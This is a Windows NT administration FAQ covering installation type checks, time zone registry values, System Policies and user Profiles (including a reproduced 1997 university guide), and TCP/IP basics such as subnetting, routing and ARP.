System Internals, http://www.sysinternals.com, have released an excellent command line tool, ISTRIAL.EXE, which also tells you if your version will expire.


Q. How can I check what type of NT installation I have?

A. There are now many types of NT installation, Windows NT Workstation, NT Server, NT domain controllers, Terminal Server Edition and Enterprise addition. The normal way would be to just type "net accounts" however this will not give all the information sometimes. One way to check is to look in the registry

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
  3. Look at ProductType, it will be one of
    WinNT - Windows NT Workstation
    ServerNT - Windows NT Server standalone
    LanmanNT - Windows NT Server Domain Controller
  4. You can also look at ProductSuite (if it exists), and depending on your version you may see
    Terminal Server - Windows NT Terminal Server Edition
    Enterprise - Windows NT Enterprise Edition
  5. Close the registry editor

If you attempt to open or edit these values (depending on your service pack) a warning will be shown and the value changed back to its original. Don't try to change them.

If you don't want to muck around in the registry, WinInfo (from http://www.savilltech.com/download/wininfo.zip) displays the Product Type (and much more) and will be one of

  • Windows NT Workstation
  • Windows NT Server
  • Windows NT Domain Controller
  • Windows Terminal Server Edition
  • Windows NT Enterprise Edition


Q. How can I tell if my NT installation is a "Not For Resale" installation?

A. Microsoft provide "Not For Resale" versions of NT Server as part of kits such as MSDN. This software is fully functional except it has a set number of licenses, i.e. 5 or 10 and these cannot be increased.

To test if your installation is Full or "Not For Resale" download WinInfo from http://www.savilltech.com/download/wininfo.zip and check the 'Installation type' value. If it says "Not For Resale Version" then you will be limited to 10 clients.


Q. Where is time zone information stored in NT/2000?

A. Selecting the Date/Time control panel applet and the 'Time Zone' tab allows the local country and its associated time difference to be set along with daylight saving to be enabled.

Changing this dialog updates the registry values under the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation key and the most useful values are as follows:

ActiveTimeBias | The current time difference from GMT (Greenwich Mean Time) in minutes. This is the difference FOR GMT, so if you are one hour ahead, GMT is one hour behind and the value would be ffffffc4 which is hex for -60.
Bias | The normal time difference from GMT excluding daylight saving in minutes. Again this is the difference for GMT, so if you are three hours ahead (if you live in Moscow) Bias would be ffffff4c which is hex for -180. If you were two hours behind GMT (if you're on a boat in the Mid Atlantic) GMT is two hours ahead so the value is 120.
DaylightBias | The time difference used for daylight saving, again for GMT, so one hour ahead would be ffffffc4 (hex for -60). Notice ActiveTimeBias is the sum of Bias and DaylightBias in daylight saving months, or same as Bias in standard months.
DaylightName | Name used during daylight saving months
StandardName | Name used during non-daylight saving months
DaylightStart | Tells the computer when to start daylight mode.
StandardStart | When to start standard mode
DisableAutoDaylightTimeSet | Only exists if you unselect the "Automatically adjust clock for daylight saving" and is set to 1.

Using the resource kit REG.EXE utility you could query these from the command line

C:\>reg query hklm\system\currentcontrolset\control\timezoneinformation\bias
REG_DWORD bias 0

C:\>reg query hklm\system\currentcontrolset\control\timezoneinformation\daylightname
REG_SZ daylightname GMT Daylight Time


Q. How can I tell which process has file X open?

A. Files accessed from a user over the network can be viewed with the 'Net File' command

D:\>net file

ID Path User name # Locks

-------------------------------------------------------------------------------
51 G:\www.ntfaq.com ADMINISTRATOR 0
The command completed successfully.

This does not give information of files open by local processes. Two programs allow you to view which process has file X open, NTHandle (a command line tool) and HandleEx (a GUI version) both from http://www.sysinternals.com.

Example of HandleEx in action.


Q. How can I tell which DLL's and API calls a program makes?

A. The Windows NT/2000 resource kit supplies a utility called APIMON which can be used to monitor all DLL and API calls made. To use perform the following:

  1. Start APIMON (Start - Run - APIMON.EXE)
  2. From the File menu select Open
  3. Select the image you want to monitor and click OK (I'm using %systemroot%\system32\notepad.exe)
  4. Two blank windows, 'DLL's in use' and 'Api Counters'
  5. The next task is to start the selected image. Click the green Play arrow (or select 'Start Monitor' from the tools menu)
  6. The application will start and the two blank windows will now have DLL and API information.
  7. When complete click Stop or select 'Stop Monitor' from the tools menu
  8. Stopping the API Monitor program will also stop the image it had loaded so make sure you don't lose any work :-)


Q. How do System Policies work?

A. You have a different System Policy for Windows 95 machines, and Windows NT machines. The Windows NT Policy editor is shipped with Windows NT server, and the Windows 95 System Policy editor is on the Windows 95 CD-ROM in the \ADMIN\APPTOOLS\POLEDIT directory. Policies alter registry settings on the target machine, and once the registry settings have been changed, the changes remain until changed by something else, therefore if you implement restrictions they will remain even if the policy file is deleted. By default, Windows clients look for policy files in the NETLOGON share on the domain controller (for NT, the machine that validates the logon, for Windows 95 the PDC unless you implement load balancing). Windows NT looks for the policy file NTCONFIG.POL and Windows 95 machines CONFIG.POL.

An important thing to note, is that NTCONFIG.POL/CONFIG.POL are not copied to BDC's by default and you have to setup directory replication.


Q. How do I modify a Policy?

A. In this example we will modify the Logon Banner:

  1. Start the System Policy Editor (Start - Programs - Administrative Tools - System Policy Editor)
  2. Select New Policy from the File menu
  3. Double click on Local Computer
  4. Double click on Windows NT System and the double click Logon
  5. Click on Logon Banner until it changes to a tick
  6. Enter a caption and text and click OK
  7. From the File menu, select Save as
  8. Save in the %system root%/system32/repl/Import/Scripts as NTCONFIG.POL
  9. Close the System Policy Editor


Q. How do I create my own Policy template?

A. When system policy editor is run you can select which templates to include. There are 3 which are supplied with NT, and are stored in the %systemroot%/inf directory

  • common.adm
  • windows.adm
  • winnt.adm

The only ones you will use normally are common.adm and winnt.adm. Windows.adm was supplied for compatibility with windows95 machines, however policies created with Windows NT will not work on Windows 95 so this template is not used.

To select which templates to use, select "Policy template" from the options menu.

The structure of an adm file is simple and follows the structure shown below

CLASS MACHINE or USER

CATEGORY !!<string for first level>
   CATEGORY !!<string for second level> this is optional
      POLICY !!<string for name to be displayed next to check box>
      KEYNAME !!<string for the keyname where the value is, do not include the first
         VALUENAME !!<actual value name>
         VALUEON "1" VALUEOFF "0"
         PART !!<displayed in the bottom of the system policy screen> TEXT
         END PART
      END POLICY
   END CATEGORY
END CATEGORY

[strings]
<strings defined>="Windows NT Network"

Simple! The !! means what's after is a string and has to then be defined in the [strings] section. You don't have to use strings and can just put the entries directly be enclosing in quotes if it contains a space, it just might help for long key names if used repeatedly. For every keyword (except for class) there must be a end keyword, e.g. for category there must be a end category, same as an if and endif etc.

For examples, look at the common.adm and winnt.adm files and then compare to how they look in the system policy editor to get the display and effect you want. There are many other combinations and effects such as a drop down box which can be accomplished using the following

   PART !!<string> DROPDOWNLIST
   VALUENAME ""<actual value>
      ITEMLIST
         NAME "<string>" VALUE NUMERIC n
         NAME "<string>" VALUE NUMERIC n
         NAME "<string>" VALUE NUMERIC n
      END ITEMLIST
   END PART


Q. Where can I get information on Profiles and Policies?

A. The document below has excellent information and links. This originally was on the http://www.usyd.edu.au web site but has since been removed. This has been reproduced by permission of Luke Brennan, co-author of the document.

Windows NT 4.0 Profiles and Policies

Defining the user environment via Profiles and Policies

This is a guide for experienced NT administrators having difficulties with Microsofts dumb new implementation of System Policies in NT 4.0. We had to do it and finally documented what we have found/learnt. Many thanks to the other News Group subscribers who hacked this out with us. Many curses to Microsoft for giving us headaches. This stuff is not documented in the otherwise highly regarded resource kits. Great product but...

  • Windows NT defines the user environment in two ways;
    Profiles and Policies are, as we all now know, completely different animals.
  • The profile defines the user environment within the parameters set by the system policy.
  • All users have a profile whether they like it or not. They may use the default profile, but they all have a profile. The system resources available to any user can be less than the system policy allows for that user but cannot be greater.
  • It also seems that the system will only update a profile if a change has been made to the profile defined in the login script. (not understood yet, so don't take this as hard fact - I think profile caching might be a key to this behaviour)
  • Many facets of Policy and Profile have been fixed in NT4.0 with the release of SP3. If you are not using this Service Pack, we strongly recommend that you do so.

Policies

A policy file can be thought of as a Registry Hive. If you keep that in mind, it might all click for you a bit faster!

  • The standard (default) Policy on your Server will contain at least two policy items. You can add others.
    • The first standard entry is Default Computer which equates to the Registry entries under the HKEY_LOCAL_MACHINE hierarchy.
      note: it would appear that this section of the target machine registry gets recreated at each REBOOT.
    • The second standard entry is Default User which equates to the HKEY_CURRENT_USER hierarchy.
    • The implementation of domain wide policies depends on the workstation registry. The workstation will only receive a system wide policy if the check box Default Computer/Network/System policies update has been ticked and set to automatic. This then picks up the system policy from the \\PDC\NETLOGON share. If you are feeling masochistic, you can choose manual mode and enter/guess the path to the PDC/BDC NETLOGON share.
    • Furthermore one or more user and group entries can be added and these too are applied to HKEY_CURRENT_USER for the user or the member of the group(s). The order of execution for the user policy is first:
      1. the defined user policy (if it exists)
      2. if none has been defined then
      1. the Default User policy on the PDC is used then:
      2. any group policies are implemented.
        Note that if you have multiple groups, the group allocated highest priority will be applied first, then the others in descending order.
      If you missed the key issue there, I'll point it out. If you have a defined user policy for an individual, it gets applied all by itself and Default User and Group Policies do not get applied.
  • The system policy for domains by default lives in the \\PDC\NETLOGON share and is called NTconfig.pol. The local path on the PDC to NETLOGON is %SystemRoot%\system32\Repl\Import\Scripts
    (Win95 expects a file called config.pol and it must initially be stored into NETLOGON on the PDC)
  • In order to configure a policy for groups of users:
    1. You use the poledit utility to open the current system policy, usually \\PDC\NETLOGON\NTconfig.pol.
    2. Add the group or individual by selecting the appropriate icon on the menu strip.
    3. Double click on the group or user icon and then define whatever you wish for the policy.
  • Note here that in the Poledit registry editor, a grey box means not to change whatever value exists in the registry on the remote machine that the user is logging on to. If the value on the local workstation is different to that in the system policy it will only be changed if the corresponding value in the system policy is set, that is, not greyed out. White (blank) means clear the registry value, while a check means enforce a registry value.
  • If you have a network with Backup Domain Controllers, you need to copy the file \\PDC\NETLOGON\NTconfig.pol to the %SystemRoot%\System32\Repl\Export subdirectory, for replication to the BDC's. Most people who implement this type of network recommend that you directly copy the files to the %SystemRoot%\System32\Repl\Import\Scripts subdirectory of each BDC to ensure the message gets through. Do remember to turn on the directory replication service or your export will sit there forever!
  • Microsoft's README (Q142640) file says:
    System Policy
    System policy can be defined for both users and groups. The order of precedence of system policies can be set for instances where a user is a member of multiple groups. Three settings are available for each policy item (enabled, disabled, or not specified). These policy settings are saved to the NETLOGON share of the PDC, where they are replicated to the BDCs in the domain. When a user logs on, the NTConfig.pol file (depending on the client) is parsed for policy settings to apply.
    When a user logs on, the user policy (as defined in System Policy Editor) for the user is applied. If a user-specific policy is not applied, the default user policy is applied, followed by the group policies in priority order:
    • The lowest priority (as defined in System Policy Editor) group policy for the user is applied.
      (set this using Options|Group Priority)
    • The next highest priority group policy is applied, and this step repeats until the policies for all of the user's groups have been applied.
    • If you have multiple groups defined in the System Policy then the first group in the order will be implemented. If you leave a box greyed out then the next group's selection will be implememted and so on. If they are all grey then it will be set to the workstation default value.
  • IMPORTANT (Listen carefully!!)
    • Policy being applied requires write access?
      NT 4.0 without Service Paks: On the workstation you MUST grant read/write permission to all users for the %SystemRoot%\Profiles\Policy subdirectory. This was the biggest gotcha in the implementation of System Policies in NT 4.0. This should be a function of the OS. The user should not have to access such an important file. It was our feeling that this was a bug in Windows NT 4.0.
      See the KnowledgeBase article Q157673 that confirmed this! A fix was supplied in NT4.0 SP2. However even this fix still had problems. You must still grant add/read to your %SystemRoot% so that the policy can be downloaded. This is still an appalling bug as far as we're concerned.
      Can Microsoft ever get it right? Yes! SP3 fixes this!
    • It is essential that for workstations to get a copy of the policy, the Default Computer\network\system policy updates\remote updates box is checked, and set to Automatic, unless you are feeling brave enough to define a path manually. I mean it should be simple, but in a multiple domain controller environment...
  • Save the system policy file in the NETLOGON share (better known as %SystemRoot%\System32\Repl\Import\Scripts subdirectory) of the PDC. The file should be named NTconfig.pol.

Policy Troubleshooting Tips

Windows NT FAQ is a key resource to aid in understanding what you can do to restrict/limit using the Policy Editor and/or Registry Editor.

  • Is your SERVER name longer than 13 characters? We've had feedback that says that a long server name will cause Policy updates to fail! Install SP3 to solve this.
  • It might seem that changes to the policy will only be picked up upon login by a user for the first time after the workstation is restarted, however we have found that this is NOT the case! We kept getting bitten because we would login as Administrator to see what happened - which then promptly did behave correctly, so ensure that %SystemRoot%\Profiles\Policy on the workstation(s) has the correct (write) permissions on the directory and files within it. If you're running SP2, then the permissions problem shifts to your %SystemRoot% directory. Install SP3 to solve this.
  • Check what remote policy the workstation is actually using. Login, then go back to your server and connect to the workstation with System Policy Editor. Check the stuff in Local Computer and make sure that it matches what should be there. To do this, use the file/connect option in the Poledit utility.
  • Check that your users have read access to the NETLOGON share. The security should be Everyone:READ and Administrator:FULL for both the share and normal security settings. You wouldn't have forgotten that now, would you?
  • Having problems with groups? Make sure your users are being entered into a global group, not a local group!
  • Check that you actually made the user a member of the group that you're trying to apply to them!
  • Wrestling with Win95?
    Create your Win95 policy on Win95 and copy it to the NT NETLOGON share as config.pol
    Don't forget that you have to put grouppol.dll into the windows\system directory on your Win95 machine.

Profiles

Profiles are much simpler.

  • They exist as a group of directories that define the user environment.
  • The location for a domain users user profile can be set in the user manager for domains profile tab. The location must be specified as a UNC name.
  • If not set, they default to the profile in the %SystemRoot%\profiles\Default User directory, not the %SystemRoot%\profiles\all users directory that you might have thought.
    Tip: if you put the profile for Default User in your NETLOGON share, any workstations with an older copy will see this and update automagically.
  • The best way to set this profile is to have a dummy account especially for user profiles. Login, make any changes, then save the profile. The profile is then copied to the desired location by the system utility in the control panel.
  • This utility has a user profile tab. Select the user profile, then select copy. You then need to specify the location of the copy.
  • Browse for the location, then set the permissions to allow users access. Press OK and the profile is now active.
  • Microsoft's README file also says:
    User Manager
    Profiles are no longer limited to having .pds or .pdm extensions. Windows NT version 4.0 profiles have .man or .usr extensions, but they can have any extensions.
    If you have a mixed work environment of computers running Windows NT version 3.51 and Windows NT version 4.0, you should use the .man or .usr extensions for compatibility. When Windows NT version 4.0 encounters a profile with a .usr or .man extension, it will create a matching directory with the .pds or .pdm extension.

Profile Troubleshooting Tips

Windows NT FAQ is a key resource to aid in understanding what you can do to restrict/limit using the Policy Editor and/or Registry Editor.

  • You did put the profile path into the User-Manager->User->Properties, didn't you?
  • The location must be specified as a UNC name. If you are using C:\blah\blah then this is wrong!
  • Your users aren't in the GUEST group, are they? If so, profiles won't get saved!
  • Roaming Profiles require that the location that you are storing the profiles under must be a share, otherwise you won't pick them up - and no, ADMIN$ will not work!
  • Roaming Profiles get copied back to the server on logout. Make sure you update the profile with the user logged out!
  • Are the clocks the same on the server and workstation? You may find that the workstation is saying that its cached copy is newer!
  • Changed from a WORKGROUP to DOMAINs have you? Roaming Profiles will not get picked up if the workstation user still has a cached profile from when it was part of a WORKGROUP. You'll need to remove that, via Control Panel->System->User Profiles.
  • Moving from machine to machine and finding things are different on each, even though your Roaming Profile is working? You need to clear the local profile that is being picked up from %SystemRoot%\Profiles\All Users on the workstation.
    You can also hack the workstation(s) Registry so that All Users resides on the server.
  • If you want the profiles to stay in one spot, you have to disable the local caching of the profiles. This will slow things down, but if your network is fairly fast, it shouldn't matter much. You can do this by using Regedt32 on each machine to edit:
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DeleteRoamingCache
    REG_DWORD
    Default: 0
    If the value of this entry is 1, locally cached profiles are deleted when users with domain profiles log off. Thus the only copy of the profile is on the server.
  • Unclear on Mandatory profiles?
    Say you have a domain controller with a policy file on it that does not allow cached profiles.
    Using one default manditory profile for all users Add the .MAN extension to the ntuser file.
    If you use the .man extension on the folder in which the profile is stored, such as default.man then in the event of the workstation being off the net or unable to contact the server, this will cause the system to display a message telling the user that since it can not contact the domain controller, he/she can't be logged in. This is the NT 3.5x behaviour and can be useful! If you want the normal NT4 profile to behave in the same way, just give the profile a .man and make sure that you disable local profile caching on the target workstations. I haven't tested if an NT4 folder with .PDM works the same way.
    You can't share the folder with the .man extension. So, put it in the NETLOGON share and then point the users profile to \\PDC\NETLOGON\default.man.
  • W95 and Profile locations.
    Yes, profiles work with Win95 clients too. The Win95 clients store their profile info in the users home directory, while the NT clients will store them in the Profiles directory.
    i.e. a user with both Win95 and NT access will have two different profiles.

------------

WARNING!!

Now that you think you're secure, go into HELP and you'll find that it will allow your users to bring up Control Panels, etc, even though you THOUGHT you had disabled them...

------------

Microsoft KnowledgeBase pointers

User Profiles

How to Create and Assign User Profiles for Users in a Domain - (KnowledgeBase)
How to Use %LOGONSERVER% to Distribute User Profiles - (KnowledgeBase)
Useful Resource Kit Utilities for Domain Administrators - (KnowledgeBase)
How to Assign the Administrator Profile to Other Users - (KnowledgeBase)
How to set User Manager Settings for Multiple Users - (KnowledgeBase)
Controlling Common Program Groups Seen In User Profiles - (KnowledgeBase)
Saving Workstation Default User Profiles for a Domain - (KnowledgeBase)
Using NET USERS to Manage Local User Accounts on a Workstation - (KnowledgeBase)

System Policies

Disabling Access to Network Resources Using System Policies - (KnowledgBase)

Other

How to Restrict Access to NT Registry from a Remote Computer - (KnowledgeBase)

------------

Last Revised: 8th June, 1997 by
Luke Brennan (L.Brennan@isu.usyd.edu.au), Matt Holt (M.Holt@isu.usyd.edu.au) and Greg Rudd (G.Rudd@isu.usyd.edu.au)


Q. How can I control the Policy updates?

A. Its possible to dictate how policies are applied to a Windows NT machine.

This is normally configured using the System Policy Editor by selecting Default Computer - Network - System policies update and checking Remote Update.

You then have the option to have either Automatic update which means the NT client makes a connection to the NETLOGON share of the domain controller that validated the logon or alternatively you could select Manual and then enter a path and name where the policy is located.

It is also possible to configure the machine to display any error messages and to enable load balancing.

All the changes above can also be configured directly through the registry.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Update
  3. Double click on UpdateMode (if it does not exist create of type DWORD, Edit - New - DWORD value)
  4. Set to 1 for Automatic update (the default), 2 for Manual or 0 for no update. Click OK
  5. If you set UpdateMode to 2 you should then double click on NetworkPath (or create of type REG_SZ or String Value)
  6. Set to the location and name of the policy file to use. Click OK
  7. Close the registry editor

You can also create two other values under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Update

  • Verbose - of type DWORD value - and setting to 1 enables error messages
  • LoadBalence - of type DWORD value - setting to 1 enables load balancing


Q. How can I implement locally based system policies?

A. Normally system policies are implemented on domain controllers to be used on an entire domain however Microsoft do provide support for local system based policies.

There are two approaches possible:

Automatic Update Method

  1. Share the %systemroot%\System32\Repl\Import\Scripts folder (e.g. d:\winnt\system32\repl\import\scripts) as Netlogon.
  2. Grant the group Everyone "Read" Permissions and the group Administrators "Full Control" to this share.
  3. Start System Policy Editor (Poledit.exe).
  4. On the File menu, click New Policy and make the changes for your policy.
  5. On the File menu, click Save As, and then save the policy file in the Netlogon shared folder as Ntconfig.pol.
  6. On the File menu, click Open Registry.
  7. Double-click Local Computer, double-click Network, double-click System Policies Update, and then click the Remote Update check box to select it.
  8. In the Update Mode box, click Automatic (Use Default Path), and then click OK. This has the effect of looking for policy updates from the Netlogon share of the authenticating controller/machine automatically.
  9. Save your policy to the location listed above as Ntconfig.pol, and then quit Policy Editor.
  10. Restart Windows NT for the changes in the policy to take effect.

This configuration allows you to use both a local and a domain-wide system policy, depending on which user account database the user logs on to. This is the normal method domains use as when you logon to a domain the computer looks for policies in the Netlogon share of the domain controller validating the logon.

Remote Update Method

  1. Start System Policy Editor (Poledit.exe) and make the changes for your policy.
  2. On the File menu, click Save As, and then save the policy file on your hard disk. For example, save the file as: c:\ntconfig.pol
  3. On the File menu, click Open Registry.
  4. Double-click Local Computer, double-click Network, double-click System Policies Update, and then click the Remote Update check box to select it.
  5. In the Update Mode box, click Manual (Use Specific Path), type a path name in the Path for Manual Update dialog box (for example, d:\winnt\system32\repl\import\scripts\Ntconfig.pol), and then click OK. Note that to display error messages if the policy file is not found when Windows NT starts, you can click the Display Error Message check box to select it.
  6. Save your policy to the location listed above as Ntconfig.pol, and then quit Policy Editor. Note that while using the Manual Update, you may name the policy file anything you would like; just be sure to enter it into the path in step 5 above.
  7. Restart Windows NT for the changes in the policy to take effect.

With this method the location of the policy file is given and so does not require the Netlogon share. I would recommend the first method 9 times out of 10.


Q. What is TCP/IP

A. If you are viewing this page on the web then you are using TCP/IP now! TCP/IP is a suite of related protocols and utilities used for network communications. TCP/IP is actually two protocols, Internet Protocol (IP) and Transmission Control Protocol (TCP). There are many different implementations of TCP/IP however they all conform to a standard which means different implementations can communicate with each other.

Each machine that uses TCP/IP must have a unique TCP/IP address which is a 32 bit number, which is usually displayed in the dotted quad (or dotted decimal) format xxx.xxx.xxx.xxx, where xxx is a number from 0 to 255, for example the IP address 147.98.26.11 is shown in its 32 bit form, and how it breaks down into the dotted quad format

10010011 | 01100010 | 00011010 | 00001011
147 | 98 | 26 | 11

TCP/IP was originally used on ARPANET, a military network and grew to universities and is now used on virtually every computer system.


Q. How do I install TCP/IP

A. Below are the instructions on installing non-DHCP clients:

  1. Start the Network Control Panel Applet (Start - Settings - Control Panel - Network)
  2. Click the Protocols tab and click Add
  3. Select TCP/IP Protocol and click OK
  4. You will be asked if there is a DHCP server on the Network, click NO for DHCP
  5. A number of files will be installed and the protocols will be re-binded, and you will be shown the TCP/IP configuration dialog
  6. Click the IP Address tab and enter the IP address and subnet mask. When you enter the IP address it will guess the subnet mask (however you may want to configure a subnet mask different from the Default).
  7. You can also configure DNS servers by clicking on the DNS tab and enter a Domain name (e.g. Savilltech.com) and a host name
  8. Click OK when finished and you have to reboot the machine


Q. Is there a way to trace TCP/IP traffic using NT?

A. As part of the Systems Management Server there is a Network Monitor module which enables the entire network to be monitored, also traffic over a modem. There is a limited version of this with NT 4.0 server, however only communications between the server and other computers can be monitored. The Network Monitor Service has to be installed (Control Panel - Network - Services - Add).


Q. I do not have a network card, but would like to install TCP/IP.

A. Microsoft provide a Loopback adapter that can be used for the testing of TCP/IP. To install the Loopback adapter perform the following actions:

  1. Start the Control Panel (Start - Settings - Control Panel)
  2. Double click on the Network icon
  3. Click on the Adapters tab, and click Add
  4. Select MS Loopback Adapter and click OK
  5. You will then need to configure TCP/IP as normal


Q. I have installed TCP/IP, what steps should I use to verify the setup is correct?

A. Follow the steps below:

  1. From a command prompt type
    ipconfig /all
    This will show information such as IP address, subnet mask and the physical address. Check the IP address and subnet mask are what you expect.
  2. Next there is a special IP address that is used for loopback testing 127.0.0.1, so try and ping this
    ping 127.0.0.1
    You should get 4 lines of
    Reply from 127.0.0.1: bytes=32 time<10ms TTL=128
    Pinging 127.0.0.1 does not send any traffic out on the network. If this does not work it means the TCP/IP stack is not loaded correctly so go back and check your configuration
  3. Next try and ping your own IP address, once again this will not send any traffic out on the Network, but it just confirms the software
    ping 200.200.200.53
    Once again you should get 4 reply messages. If this does not work, but the loopback did, you probably have typed the IP address wrong, go back and check your configuration.
  4. Try and ping the gateway.
    ping 200.200.200.1
    This is the first traffic going out over the network. The gateway should be on your subnet. If you fail to ping the gateway, check the gateway is up, and that your network is correctly connected.
  5. Ping something on the other side of the gateway, i.e. something not own your subnet
    ping 158.234.26.46
    If this does not work then the gateway may not be functioning correctly.
  6. If all of the above worked, than Name Resolution should be tested by pinging by name, this will test the HOSTS and/or DNS. If your machine name was john, and the domain savilltech.com, you would ping john.savilltech.com
    ping john.savilltech.com
    If this does not work, check in the Network Settings - Protocols - TCP/IP that the domain name is correct, also check the hosts file and the DNS.
  7. Next try and ping a name outside the network
    ping ftp.microsoft.com
    If this does not work then check with your ISP (Internet Service Provider)
  8. If all of the above works then get down to the serious stuff and start surfing! :-)


Q. How can I trace the route the TCP/IP packets take?

A. In general TCP/IP packets will not always take the same route to a destination, however the start of the journey is likely to be the same, i.e. to your gateway, to the firewall etc. The command to use is tracert and the syntax is as follows

c:\tracert <host name or IP address>,e.g.
c:\tracert news.savilltech.com
Tracing route to news.savilltech.com [200.200.8.55]
over a maximum of 30 hops:

1 <10 ms <10 ms <10 ms 200.200.24.1 200.200.200.24.1 is the gateway
2 <10 ms 10ms <10 ms 200.200.255.81
3 30 ms 10 ms 10 ms news.savilltech.com [200.200.8.55]

Trace complete

The first column is the hop count, the next 3 columns show the time taken for the cumulative round-trip times (in milliseconds), the 4th column is the hostname if the IP address was resolved, and the last column is the IP address of the host. It is really like a street map telling each turn to take. An important thing to note is to look for looping routes, so host a goes to b then c then back to a, as this indicates a problem usually.

Tracert will not always work with some FireWalls for hosts outside the FireWall.


Q. What is the subnet mask?

A. As has been shown the IP address consists of 4 octets and is usually displayed in the format 200.200.200.5, however this address on its own does not mean much and a subnet mask is required to show which part of the IP address is the Network ID, and which part the Host ID. Imagine the Network ID as the road name, and Host ID as the house number, so with "54 Grove Street", 54 would be the Host ID, and Grove Street the Network ID. The subnet mask shows which part of the IP address is the Network ID, and which part is the Host ID.

For example, with an address of 200.200.200.5, and a subnet mask of 255.255.255.0, the Network ID is 200.200.200, and the Host ID is 5. This is calculated using the following:

IP Address | 11001000 | 11001000 | 11001000 | 00000101
Subnet Mask | 11111111 | 11111111 | 11111111 | 00000000
Network ID | 11001000 | 11001000 | 11001000 | 00000000
Host ID | 00000000 | 00000000 | 00000000 | 00000101

What happens is a bitwise AND operation between the IP address and the subnet mask, e.g.

1 AND 1=1
1 AND 0=0
0 AND 1=0
0 AND 0=0

There are default subnet masks depending on the class of the IP address as follows:

Class A : 001.xxx.xxx.xxx to 126.xxx.xxx.xxx uses subnet mask 255.0.0.0 as default
Class B : 128.xxx.xxx.xxx to 191.xxx.xxx.xxx uses subnet mask 255.255.0.0 as default
Class C : 192.xxx.xxx.xxx to 224.xxx.xxx.xxx uses subnet mask 255.255.255.0 as default

Where's 127.xxx.xxx.xxx ??? This is a reserved address that is used for testing purposes. If you ping 127.0.0.1 you will ping yourself :-)

The subnet mask is used when two hosts communicate. If the two hosts are on the same network then host a will talk directly to host b, however if host b is on a different network then host a will have to communicate via a gateway, and the way host a can tell if it is on the same network is using the subnet mask. For example

Host A 200.200.200.5
Host B 200.200.200.9
Host C 200.200.199.6
Subnet Mask 255.255.255.0

If Host A communicates with Host B, they are both have Network ID 200.200.200 so Host A communicates directly to Host B. If Host A communicates with Host C they are on different networks, 200.200.200 and 200.200.199 respectively so Host A would send via a gateway.


Q. What diagnostic utilities are there for TCP/IP?

A. We have already seen PING and TRACERT, and below is a full list

  • arp - This displays and modifies the IP to physical address translation tables used by the ARP (Address Resolution Protocol).
  • finger - Displays information about a user on a specified system that is running the finger service
  • hostname - Displays the name of the current host
  • ipconfig - Displays information about the current TCP/IP configuration, including details about DNS servers etc. Can also be used to renew and release DHCP address leases.
  • nbtstat - Displays protocol statistics and current TCP/IP connections using NBT (NetBIOS over TCP/IP)
  • netstat - Displays protocol statistics and current TCP/IP connections
  • ping - Used to check if a destination host is receiving TCP/IP packets
  • route - Used to maintain and display routing tables
  • tracert - Used to view the route packets take to a destination host

For more information on these commands just enter the command with a -?, e.g. netstat -?


Q. What is routing and how is it configured?

A. When host a wants to send to host b, if they are on the same local network then the IP protocol resolves the IP address to a physical address using ARP (Address Resolution Protocol), and the physical address (e.g. 00-05-f3-43-d3-3e) of the source and destination hosts are added to the IP datagram to form a frame, and using the frame, the two hosts can communicate directly with each other.

If the 2 hosts are not on the same local network, then they cannot communicate directly with each other, and instead have to go through a router. You have probably already come across a router when you install TCP/IP, as the default gateway is just a router that you have chosen to use as a means of communicating with hosts outside your local network if no specific route is known. A router can be a Windows NT computer with 2 or more network cards (one card for connection to each separate local network) or it can be a physical hardware device, such as Cisco routers.

Assuming our two hosts are not on the same local network, host A will check its routing table for a router that connects to the local network of host B. If it does not find a match then the data packets will be send to the "default gateway". In most cases, there will not be one router that connects straight to the intended recipient, rather the router will know of another route to pass on your packet, which will then goto another router etc.

For example:

Host A - 200.200.200.5
Host B - 200.200.199.6
Subnet Mask - 255.255.255.0
Router - 200.200.200.2 and 200.200.199.2
Host A's routing table - Network 200.200.199.0 use router 200.200.200.2

In this example, Host A would deduce that Host B is on a separate network, as its Network ID is 200.200.199. Host A would then check its routing table and see that it knows for network 200.200.199 (the zero means all) it should send to 200.200.200.2. The router would receive the packets and then forward them to network 200.200.199.

What actually happens is each router will have its own routing table that will point to other routes.

To actually configure a route, you use the route command, for example to configure a root for network 200.200.199 to use router 200.200.200.2 you would type

route -p add 200.200.199.0 mask 255.255.255.0 200.200.200.2

The -p makes the addition permanent, otherwise it will be lost with a reboot.

To view your existing information type route print.


Q. What is ARP?

A. ARP stands for Address Resolution Protocol and was touched on in the previous question as a means of resolving a IP address to an actual physical network card address.

All network cards have a unique 48 bit address, that is written as six hexadecimal pairs, e.g. 00-A0-24-7A-01-48, and this address is hard coded into the network card. You can view your network cards hardware address by typing

ipconfig /all
.
Ethernet adapter Elnk31:

Description . . . . . . . . : ELNK3 Ethernet Adapter.
Physical Address. . . . . . : 00-A0-24-7A-01-48
DHCP Enabled. . . . . . . . : No
IP Address. . . . . . . . . : 200.200.200.5
Subnet Mask . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . : 200.200.200.1
Primary WINS Server . . . . : 200.200.50.23
Secondary WINS Server . . . : 200.200.40.190

As discussed in the Subnet question, if a packets destination is on the same local network as the senders, then the sender needs to resolve the destinations IP address into a physical hardware address, otherwise the sender needs to resolve the routers IP address into a physical hardware address. When a NT machines TCP/IP component starts, it broadcasts an ARP message with its IP to hardware address pair. The basic order of events for sending to a host on the local network is as follows:

  1. ARP checks the local ARP cache for an entry for destinations IP address. If a match is found, then the hardware address of the destination is added to the frame header and the frame sent.
  2. If a match is not found, then an ARP request broadcast is sent to the local network (remember it knows the destination is on the local network by working out the Network ID from the IP address and the subnet mask). The ARP request contains the senders IP address and hardware address, the IP address that is being queried and is sent to 255.255.255.255 (everyone, but it won't get routed).
  3. When the destination host receives the broadcast, it sends a ARP reply with its hardware address and IP address.
  4. When the source receives the ARP reply, it will update its ARP cache and then create a frame and send it.

If you are sending to a destination not on your local network, then the process is similar except the sender will resolve the routes IP address instead.

To inspect your machines ARP cache, type:
arp -a
